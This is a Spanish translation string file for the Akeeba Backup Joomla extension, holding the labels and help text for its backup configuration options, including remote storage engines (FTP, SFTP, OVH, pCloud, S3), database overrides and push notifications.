COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_INSTALLEDTABLES_EXTRA_DESCRIPTION="Introduzca una lista de tablas de base de datos separadas por comas para incluirlas en la copia de seguridad aunque el filtro «Incluir solo las tablas instaladas por Joomla! y sus extensiones» las excluiría de otro modo. Esto es útil para incluir las tablas de extensiones que instalan sus tablas mediante un método distinto a la gestión de esquemas de base de datos integrada en Joomla. Consejo: Si ve una tabla que desea incluir en la copia de seguridad con un icono rojo en la página Excluir tablas de base de datos, agréguela a esta lista."
COM_AKEEBABACKUP_CONFIG_OPTIONALFILTERS_HOSTSTATS_ENABLED_TITLE="Excluir carpetas de estadísticas específicas del servidor"
COM_AKEEBABACKUP_CONFIG_OUTDIR_DESCRIPTION="Este es el directorio de su servidor donde Akeeba Backup almacenará los archivos de copia de seguridad y el archivo de registro. Puede usar las siguientes macros:<ul><li><strong>[DEFAULT_OUTPUT]</strong> El directorio de salida predeterminado</li><li><strong>[SITEROOT]</strong> El directorio raíz de su sitio</li><li><strong>[ROOTPARENT]</strong> El directorio inmediatamente superior a la raíz de su sitio</li></ul>"
COM_AKEEBABACKUP_CONFIG_OUTDIR_TITLE="Directorio de salida"
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_DESCRIPTION="¡ESTO NO ES EL NOMBRE DEL CONTENEDOR DE ALMACENAMIENTO! Vaya a su gestor de nube de OVH, Servidores, expanda su servidor y haga clic en Almacenamiento. Verá la URL del contenedor escrita allí, encima de la lista de sus archivos. Cópiela aquí."
COM_AKEEBABACKUP_CONFIG_OVH_CONTAINERURL_TITLE="URL del contenedor"
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_DESCRIPTION="El directorio dentro del contenedor de almacenamiento de objetos de OVH donde se almacenarán los archivos de copia de seguridad. Para almacenar todo en la raíz del contenedor, déjelo en blanco."
COM_AKEEBABACKUP_CONFIG_OVH_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_DESCRIPTION="¡ESTA NO ES SU CONTRASEÑA DE INICIO DE SESIÓN EN OVH! Cree un usuario desde su gestor de nube de OVH, Servidores, expanda su servidor, haga clic en OpenStack y luego en Agregar usuario. Copie aquí la Contraseña del usuario creado."
COM_AKEEBABACKUP_CONFIG_OVH_PASSWORD_TITLE="Contraseña de OpenStack"
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_DESCRIPTION="El ID de proyecto de su servidor en la nube de OVH. En el gestor de nube de OVH, expanda su Servidor y haga clic en el enlace Almacenamiento. En el área principal verá el nombre del servidor y justo debajo una cadena alfanumérica de 32 caracteres como a0b1c2d3e4f56789abcdef0123456789. Este es el ID de proyecto que debe introducir aquí."
COM_AKEEBABACKUP_CONFIG_OVH_PROJECTID_TITLE="ID de proyecto"
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_DESCRIPTION="¡ESTE NO ES SU NOMBRE DE USUARIO DE INICIO DE SESIÓN EN OVH! Cree un usuario desde su gestor de nube de OVH, Servidores, expanda su servidor, haga clic en OpenStack y luego en Agregar usuario. Copie aquí el ID del usuario creado."
COM_AKEEBABACKUP_CONFIG_OVH_USERNAME_TITLE="Nombre de usuario de OpenStack"
COM_AKEEBABACKUP_CONFIG_PARTSIZE_DESCRIPTION="Akeeba Backup puede crear archivos divididos (en varias partes) para superar las restricciones de tamaño en diversas circunstancias. Esta opción define el tamaño máximo de cada parte del archivo. Si lo reduce a 0, la función de varias partes queda deshabilitada.</br><strong>Importante:</strong>Si utiliza un motor de procesamiento de datos que transfiere archivos a una ubicación remota (p. ej., almacenamiento en la nube), use un valor de entre 1 y 5 MB para obtener resultados óptimos."
COM_AKEEBABACKUP_CONFIG_PARTSIZE_TITLE="Tamaño de parte para archivos divididos"
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_DESCRIPTION="<strong>ADVERTENCIA: LA AUTENTICACIÓN NO FUNCIONA DEBIDO A PROBLEMAS EN EL SERVIDOR API DE pCloud. ESTE MOTOR DE POSPROCESAMIENTO SE ELIMINARÁ EN UNA VERSIÓN FUTURA DE AKEEBA BACKUP.</strong> Se rellena automáticamente al completar el paso 1 de autenticación indicado más arriba. Si va a vincular otro sitio a la misma cuenta de pCloud, copie el token de acceso de su sitio ya configurado y no intente volver a ejecutar el paso 1 de autenticación."
COM_AKEEBABACKUP_CONFIG_PCLOUD_ACCESSTOKEN_TITLE="Token de acceso"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_DESCRIPTION="El nombre del directorio en pCloud donde se almacenará el archivo de copia de seguridad. <strong>El directorio DEBE existir previamente; de lo contrario, la subida fallará.</strong>"
COM_AKEEBABACKUP_CONFIG_PCLOUD_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0600="0600 – Seguridad estricta. Puede causar problemas en servidores de gama baja"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0644="0644 – Seguridad media, para uso en servidores de sitio único"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_0666="0666 – Seguridad laxa, máxima compatibilidad con servidores de hosting comerciales"
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_DESCRIPTION="Establezca los permisos de archivo para los archivos de copia de seguridad. Solo aplica en Linux, macOS, BSD y otros servidores tipo UNIX (NO en Windows). Si no está seguro, déjelo en 0666. Cambiarlo puede imposibilitar la descarga y/o eliminación de archivos de copia de seguridad por FTP y SFTP. Si su servidor usa PHP-FPM o ejecuta PHP bajo el mismo usuario que la cuenta del sistema de su sitio, use 0600 para mayor seguridad."
COM_AKEEBABACKUP_CONFIG_PERMISSIONS_TITLE="Permisos del archivo"
COM_AKEEBABACKUP_CONFIG_PLATFORM="Anulaciones del sitio"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_DESCRIPTION="El nombre de la base de datos de la que se realizará la copia de seguridad. Solo se usa cuando la casilla de anulación de base de datos del sitio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDATABASE_TITLE="Nombre de la base de datos"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_DESCRIPTION="Seleccione el controlador de base de datos que se usará al conectarse a la base de datos del sitio. Solo se usa cuando la casilla de anulación de base de datos del sitio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBDRIVER_TITLE="Controlador de base de datos"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_DESCRIPTION="El nombre de host o la dirección IP del servidor de base de datos. Normalmente localhost o 127.0.0.1. Solo se usa cuando la casilla de anulación de base de datos del sitio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBHOST_TITLE="Nombre de host del servidor de base de datos"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_DESCRIPTION="La contraseña para conectarse a la base de datos del sitio. Solo se usa cuando la casilla de anulación de base de datos del sitio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_DESCRIPTION="(opcional) El puerto en el que escucha el servidor de base de datos. Si no está seguro, deje esta opción vacía para usar el puerto predeterminado (3306 para servidores MySQL). Solo se usa cuando la casilla de anulación de base de datos del sitio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPORT_TITLE="Puerto del servidor de base de datos"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_DESCRIPTION="El prefijo de la base de datos de la que se realizará la copia de seguridad, incluido el guion bajo; p. ej. <code>ex4m_</code>. Solo se usa cuando la casilla de anulación de base de datos del sitio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBPREFIX_TITLE="Prefijo"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_TITLE="Conectar con un certificado SSL"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBENCRYPTION_DESCRIPTION="¿Debe conectarse a la base de datos usando un certificado SSL? Esto puede usarse en lugar de la autenticación por nombre de usuario y contraseña (conexión cifrada con autenticación por certificado) o <em>además de</em> la autenticación por nombre de usuario y contraseña (conexión cifrada con autenticación por contraseña). Si no sabe qué significa esto, establezca esta opción en No e ignore las siguientes opciones."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_TITLE="Métodos de cifrado SSL/TLS"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCIPHER_DESCRIPTION="Introduzca una lista de métodos de cifrado para conectarse con certificados SSL, separados por dos puntos. Si se deja vacío, se usará la lista predeterminada (<code>AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-CBC-SHA256:AES256-CBC-SHA384:DES-CBC3-SHA</code>) (recomendado)."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_TITLE="Archivo de la Autoridad de Certificación (CA)"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCA_DESCRIPTION="Ruta absoluta en el sistema de archivos al archivo PEM del certificado de la Autoridad de Certificación (CA) de su servidor de base de datos; p. ej. <code>/home/miusuario/ca.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_TITLE="Archivo de clave privada del usuario de la base de datos"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLKEY_DESCRIPTION="Ruta absoluta en el sistema de archivos al archivo PEM de clave privada de su usuario de base de datos; p. ej. <code>/home/miusuario/miusuario-key.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_TITLE="Archivo de clave pública (certificado) del usuario de la base de datos"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLCERT_DESCRIPTION="Ruta absoluta en el sistema de archivos al archivo PEM de clave pública (certificado) de su usuario de base de datos; p. ej. <code>/home/miusuario/miusuario.pem</code>"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_TITLE="Verificar el certificado del servidor"
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBSSLVERIFYSERVERCERT_DESCRIPTION="Establezca en Sí para verificar el certificado que el servidor nos devuelve. Esto se verifica contra el archivo de la Autoridad de Certificación (CA) que especificó. Si obtiene errores de conexión, establézcalo en No; algunas configuraciones (especialmente las generadas por <code>mysql_ssl_rsa_setup</code>) pueden no permitir la conexión si la verificación de certificado está habilitada. Si habilita la verificación y el campo del archivo CA se deja en blanco, el certificado del servidor se comprobará contra los archivos de la Autoridad de Certificación que conoce su servidor; consulte las opciones PHP <code>openssl.cafile</code> y <code>openssl.capath</code>."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_DESCRIPTION="El nombre de usuario para conectarse a la base de datos del sitio. Solo se usa cuando la casilla de anulación de base de datos del sitio está marcada."
COM_AKEEBABACKUP_CONFIG_PLATFORM_DBUSERNAME_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_DESCRIPTION="Cuando ha habilitado la opción de anulación de la raíz del sitio indicada más arriba, Akeeba Backup realizará la copia de seguridad de todos los archivos y directorios bajo la raíz de este sitio."
COM_AKEEBABACKUP_CONFIG_PLATFORM_NEWROOT_TITLE="Forzar raíz del sitio"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_DESCRIPTION="Cuando no está marcada (valor predeterminado), Akeeba Backup realizará automáticamente la copia de seguridad de la base de datos a la que se conecta el sitio en el que está instalado (su base de datos de Joomla!). Cuando está marcada, realizará la copia de una base de datos diferente, usando los datos de conexión que proporcione a continuación."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEDB_TITLE="Anulación de base de datos del sitio"
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_DESCRIPTION="Cuando no está marcada (valor predeterminado), Akeeba Backup realizará la copia de seguridad de todos los archivos y directorios bajo la raíz del sitio en el que está instalado. Cuando está habilitada, realizará la copia de seguridad de los archivos y directorios bajo el directorio seleccionado en Forzar raíz del sitio, a continuación."
COM_AKEEBABACKUP_CONFIG_PLATFORM_OVERRIDEROOT_TITLE="Anulación de raíz del sitio"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_DESCRIPTION="Si está habilitado, Akeeba Backup intentará conectarse a su servidor FTP usando una conexión cifrada con SSL. <strong>¡Esto no es lo mismo que SFTP, SCP o «FTP seguro»!</strong> Tenga en cuenta que si su servidor no admite este método obtendrá errores de conexión."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_FTPS_TITLE="Usar FTP sobre SSL (FTPS)"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_DESCRIPTION="Nombre de host del servidor FTP, sin el protocolo. Esto significa que <code>ftp://ejemplo.com</code> es <strong>inválido</strong> y <code>ejemplo.com</code> es válido. Este motor solo admite servidores FTP y FTPS. <u>No</u> admite SFTP, SCP ni otras variantes SSH."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_HOST_TITLE="Nombre de host"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_DESCRIPTION="La ruta <strong>FTP</strong> absoluta al directorio donde se subirán los archivos. Si no está seguro, conéctese a su servidor con FileZilla, navegue hasta el directorio deseado y copie la ruta que aparece en el panel derecho sobre la lista de directorios. Suele ser algo breve, como <code>/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_INITDIR_TITLE="Directorio inicial"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_DESCRIPTION="La ruta relativa al directorio inicial; se creará si no existe. Déjelo vacío para subir los archivos directamente dentro del directorio inicial. Puede usar las siguientes macros:<ul><li><strong>[HOST]</strong> El nombre de host. ADVERTENCIA: Esta etiqueta no funciona en modo CRON.</li><li><strong>[DATE]</strong> Fecha actual</li><li><strong>[TIME]</strong> Hora actual</li></ul>Hay más disponibles; consulte la documentación."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_OPTSUBDIR_TITLE="Subdirectorio"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_DESCRIPTION="Use el modo pasivo de FTP al transferir datos. Está habilitado de forma predeterminada, ya que es el único método que funciona a través de los cortafuegos instalados habitualmente en los servidores web. No lo desactive a menos que esté seguro de que su servidor web no está detrás de un cortafuegos y que su servidor FTP requiere absolutamente transferencias de archivos en modo activo."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSIVE_TITLE="Usar modo pasivo"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_DESCRIPTION="Contraseña del servidor FTP. Generalmente distingue entre mayúsculas y minúsculas. Si no está seguro, contacte con el administrador de su red."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_DESCRIPTION="Puerto del servidor FTP. La configuración más habitual es 21. Si no está seguro, contacte con el administrador de su red."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_PORT_TITLE="Puerto"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_DESCRIPTION="Use este botón para probar la conexión FTP y ver los errores de conexión en caso de fallo."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_TEST_TITLE="Probar conexión FTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_DESCRIPTION="Nombre de usuario del servidor FTP. Generalmente distingue entre mayúsculas y minúsculas. Si no está seguro, contacte con el administrador de su red."
COM_AKEEBABACKUP_CONFIG_POSTPROCFTP_USER_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_DESCRIPTION="Cuando está habilitado, Akeeba Backup ejecutará el motor de posprocesamiento sobre cada parte en cuanto esté lista. Cuando está deshabilitado, Akeeba Backup ejecutará el posprocesamiento de todas las partes al final del proceso de copia de seguridad."
COM_AKEEBABACKUP_CONFIG_POSTPROCPARTS_TITLE="Procesar cada parte inmediatamente"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_DESCRIPTION="Nombre de host del servidor SFTP, sin el protocolo. Esto significa que <code>sftp://ejemplo.com</code> o <code>ssh://ejemplo.com</code> son <strong>inválidos</strong> y NO deben usarse, pero <code>ejemplo.com</code> es válido y DEBE usarse. Este motor solo admite servidores SFTP (SSH). <u>No</u> admite FTP, FTPS ni ninguna otra variante de FTP. Requiere que la extensión PHP SSH2 esté instalada y habilitada."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_HOST_TITLE="Nombre de host"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_DESCRIPTION="La ruta <strong>SFTP</strong> absoluta (generalmente igual que la ruta del sistema de archivos) al directorio donde se subirán los archivos. Si no está seguro, conéctese a su servidor con FileZilla, navegue hasta el directorio deseado y copie la ruta que aparece en el panel derecho sobre la lista de directorios. Suele ser algo largo, como <code>/home/miusuario/public_html</code>."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_INITDIR_TITLE="Directorio inicial"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_DESCRIPTION="Contraseña del servidor SFTP. Generalmente distingue entre mayúsculas y minúsculas. Si no está seguro, contacte con el administrador de su red."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_DESCRIPTION="Puerto del servidor SFTP. La configuración más habitual es 22. Si no está seguro, contacte con el administrador de su red."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PORT_TITLE="Puerto"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_DESCRIPTION="LEA LA DOCUMENTACIÓN ANTES DE USAR. La ruta absoluta en el sistema de archivos a un archivo de clave privada RSA / DSA utilizado para conectarse al servidor remoto. Si está cifrado, introduzca la frase de contraseña en el campo de contraseña de arriba. Si no sabe qué es esto, o si cree que tendrá que pedir asistencia al respecto, déjelo en blanco y no nos consulte sobre ello."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PRIVKEY_TITLE="Archivo de clave privada (avanzado)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_DESCRIPTION="LEA LA DOCUMENTACIÓN ANTES DE USAR. La ruta absoluta en el sistema de archivos a un archivo de clave pública RSA / DSA utilizado para conectarse al servidor remoto. Si no sabe qué es esto, o si cree que tendrá que pedir asistencia al respecto, déjelo en blanco y no nos consulte sobre ello."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_PUBKEY_TITLE="Archivo de clave pública (avanzado)"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_DESCRIPTION="Use este botón para probar la conexión SFTP y ver los errores de conexión en caso de fallo."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_TEST_TITLE="Probar conexión SFTP"
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_DESCRIPTION="Nombre de usuario del servidor SFTP. Generalmente distingue entre mayúsculas y minúsculas. Si no está seguro, contacte con el administrador de su red."
COM_AKEEBABACKUP_CONFIG_POSTPROCSFTP_USER_TITLE="Nombre de usuario"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_DESCRIPTION="El directorio dentro de su cuenta de iDriveSync donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco o establézcalo en / para almacenar los archivos en la raíz de su cuenta."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_DESCRIPTION="A partir de mediados de 2016, los nuevos usuarios deben usar el nuevo punto de conexión de la API."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_NEWENDPOINT_TITLE="Usar el nuevo punto de conexión"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_DESCRIPTION="Su contraseña de iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PASSWORD_TITLE="Contraseña"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_DESCRIPTION="Su clave privada de iDriveSync. Solo si ya usa una clave privada en su cuenta de iDriveSync."
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_PVTKEY_TITLE="Clave privada (opcional)"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_DESCRIPTION="El nombre de usuario o la dirección de correo electrónico con la que se suscribió a iDriveSync"
COM_AKEEBABACKUP_CONFIG_POSTPROC_IDRIVESYNC_USERNAME_TITLE="Nombre de usuario o correo electrónico"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_DESCRIPTION="La dirección de correo electrónico a la que se enviarán los archivos de copia de seguridad"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_ADDRESS_TITLE="Dirección de correo electrónico"
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_DESCRIPTION="El asunto del correo electrónico (opcional). Esta opción sirve principalmente para ayudarle a distinguir entre copias de seguridad de varios sitios."
COM_AKEEBABACKUP_CONFIG_PROCEMAIL_SUBJECT_TITLE="Asunto del correo electrónico"
COM_AKEEBABACKUP_CONFIG_PROCENGINE_DESCRIPTION="Los motores de posprocesamiento permiten a Akeeba Backup transferir las partes finalizadas del archivo de copia de seguridad a otros servidores y proveedores de almacenamiento remoto."
COM_AKEEBABACKUP_CONFIG_PROCENGINE_TITLE="Motor de posprocesamiento"
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_DESC="Vaya a https://www.pushbullet.com/account y copie el token de acceso de esa página en el cuadro de texto. Se usa para enviar mensajes push a su cuenta. Puede pegar varios tokens separados por comas. Nota: el token de acceso es visible para todas las personas que tienen acceso a esta página de configuración."
COM_AKEEBABACKUP_CONFIG_PUSH_APIKEY_LABEL="Token de acceso de Pushbullet"
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_DESC="Aquí puede configurar las notificaciones push para eventos de copia de seguridad que se envían directamente a su teléfono, tableta, portátil u ordenador de escritorio. Primero debe descargar la aplicación gratuita de terceros <a href='http://pushbullet.com/'>Pushbullet</a>."
COM_AKEEBABACKUP_CONFIG_PUSH_HEADER_LABEL="Notificaciones push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_DESC="¿Debe Akeeba Backup enviarle notificaciones y, si es así, cómo? Si selecciona Web Push, guarde estas opciones y vuelva a la página del Panel de control. Verá una nueva área de notificaciones push debajo de los iconos de acceso rápido de copia de seguridad donde podrá gestionar las notificaciones push para su navegador."
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_LABEL="Notificaciones push"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_NONE="Deshabilitado"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_PUSHBULLET="PushBullet"
COM_AKEEBABACKUP_CONFIG_PUSH_PREFERENCE_OPT_WEBPUSH="Web Push (API del navegador)"
COM_AKEEBABACKUP_CONFIG_QUICKICON_DESC="Cuando está marcado, Akeeba Backup mostrará un icono de copia de seguridad con un solo clic en la parte superior de la página del Panel de control. Al hacer clic en él se activará este perfil y se realizará una copia de seguridad sin necesidad de ninguna otra acción por su parte."
COM_AKEEBABACKUP_CONFIG_QUICKICON_LABEL="Icono de copia de seguridad con un solo clic"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_TITLE="La copia de seguridad actual participa en las cuotas de archivos remotos"
COM_AKEEBABACKUP_CONFIG_REMOTEQUOTALATEST_DESCRIPTION="Cuando está habilitado, la copia de seguridad en curso participa en las cuotas de archivos remotos. Esto puede ser problemático: si la copia de seguridad se ha subido parcialmente al almacenamiento remoto y la configuración de cuota solo conserva la última copia de seguridad, podría quedarse sin ninguna copia de seguridad válida almacenada remotamente. Deshabilitarlo reduce la probabilidad de quedarse sin una copia de seguridad válida en el almacenamiento remoto, a costa de almacenar un archivo de copia de seguridad más de forma remota."
COM_AKEEBABACKUP_CONFIG_LOCAL_HEAD="Cuotas de archivos locales"
COM_AKEEBABACKUP_CONFIG_REMOTE_HEAD="Cuotas de archivos remotos"
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_DESCRIPTION="Define cuán conservador será Akeeba Backup al intentar evitar un tiempo de espera agotado. Cuanto menor sea este valor, más conservador se vuelve. Si obtiene errores de tiempo de espera agotado, pruebe a reducir tanto el Tiempo máximo de ejecución como esta opción.<strong>Consejo</strong>: Seleccione Personalizado e introduzca el valor deseado si no aparece en la lista."
COM_AKEEBABACKUP_CONFIG_RUNTIMEBIAS_TITLE="Sesgo de tiempo de ejecución"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_DESCRIPTION="Su clave de acceso de Amazon S3, disponible en su página de perfil personal de Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3ACCESSKEY_TITLE="Clave de acceso"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_DESCRIPTION="El nombre de su depósito de Amazon S3"
COM_AKEEBABACKUP_CONFIG_S3BUCKET_TITLE="Depósito"
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_DESCRIPTION="Para usar con servicios de almacenamiento de terceros que implementan una API compatible con S3. Introduzca el punto de conexión (URL de la API) de la API compatible con S3 del servicio de almacenamiento de terceros. IMPORTANTE: Si utiliza Amazon S3, <strong>DEBE DEJAR ESTO EN BLANCO</strong>."
COM_AKEEBABACKUP_CONFIG_S3CUSTOMENDPOINT_TITLE="Punto de conexión personalizado"
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_DESCRIPTION="El directorio dentro de su depósito donde se almacenarán los archivos de copia de seguridad. Déjelo en blanco para almacenar los archivos en la raíz del depósito."
COM_AKEEBABACKUP_CONFIG_S3DIRECTORY_TITLE="Directorio"
COM_AKEEBABACKUP_CONFIG_S3_ACL_TITLE="Permisos de archivo (ACLs)"
COM_AKEEBABACKUP_CONFIG_S3_ACL_DESCRIPTION="Elija los permisos del archivo subido. En la mayoría de los casos, «Privado» o «El propietario del depósito puede leer» son las opciones más adecuadas. Si utiliza un servicio compatible con S3 de terceros, puede que prefiera usar «Privado» en lugar de la configuración predeterminada."
COM_AKEEBABACKUP_CONFIG_S3_ACL_PRIVATE="Privado"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ="Cualquiera puede leer"
COM_AKEEBABACKUP_CONFIG_S3_ACL_PUBLIC_READ_WRITE="Cualquiera puede leer y escribir"
COM_AKEEBABACKUP_CONFIG_S3_ACL_AUTHENTICATED_READ="Los usuarios IAM autenticados pueden leer"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_READ="El propietario del depósito puede leer"
COM_AKEEBABACKUP_CONFIG_S3_ACL_BUCKET_OWNER_FULL_CONTROL="El propietario del depósito tiene control total"
COM_AKEEBABACKUP_CONFIG_S3LEGACY_DESCRIPTION="Cuando está habilitado, todas las subidas a Amazon S3 se forzarán a ser de una sola parte. Use esto si obtiene errores RequestTimeout del motor S3 al subir partes de la copia de seguridad."
COM_AKEEBABACKUP_CONFIG_S3LEGACY_TITLE="Deshabilitar subidas en varias partes"
COM_AKEEBABACKUP_CONFIG_S3RRS_DESCRIPTION="Seleccione la clase de almacenamiento para sus datos. Standard es el almacenamiento habitual para datos críticos del negocio. Consulte la documentación de Amazon S3 para obtener la descripción de cada clase de almacenamiento."
COM_AKEEBABACKUP_CONFIG_S3RRS_TITLE="Clase de almacenamiento"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_DESCRIPTION="Su clave secreta de Amazon S3, disponible en su página de perfil personal de Amazon Web Services"
COM_AKEEBABACKUP_CONFIG_S3SECRETKEY_TITLE="Clave secreta"
COM_AKEEBABACKUP_CONFIG_S3USESSL_DESCRIPTION="Si está habilitado, se usará una conexión segura (HTTPS) al subir los archivos. Aunque aumenta la seguridad de los datos transferidos, también aumenta la posibilidad de que la copia de seguridad falle por tiempo de espera agotado."
COM_AKEEBABACKUP_CONFIG_S3USESSL_TITLE="Usar SSL"
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_DESCRIPTION="¿Debe usarse los puntos de conexión de pila dual para Amazon S3? Esto permite acceder a S3 por IPv6 para los servidores que admiten IPv6. Los servidores sin soporte de IPv6 seguirán pudiendo acceder a S3 por IPv4. No tiene efecto si se usa un punto de conexión personalizado."
COM_AKEEBABACKUP_CONFIG_S3_DUALSTACK_TITLE="Habilitar soporte IPv6 (pila dual)"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_TITLE="Formato de fecha alternativo"
COM_AKEEBABACKUP_CONFIG_S3_ALTERNATEDATEHEADERFORMAT_DESCRIPTION="Deshabilite esta opción solo si el soporte técnico se lo indica."
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_TITLE="Usar la cabecera HTTP Date en lugar de X-Amz-Date"
COM_AKEEBABACKUP_CONFIG_S3_USEHTTPDATEHEADER_DESCRIPTION="Habilite esta opción solo si el soporte técnico se lo indica."
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_TITLE="Incluir el nombre del depósito en las URL v4 prefirmadas"
COM_AKEEBABACKUP_CONFIG_S3_PRESIGNEDBUCKETINURL_DESCRIPTION="Habilite esta opción solo si el soporte técnico se lo indica."
COM_AKEEBABACKUP_CONFIG_SAVENEW_DEFAULT_PROFILE_NAME="Nuevo perfil de copia de seguridad"
COM_AKEEBABACKUP_CONFIG_SAVE_OK="La configuración ha sido guardada"
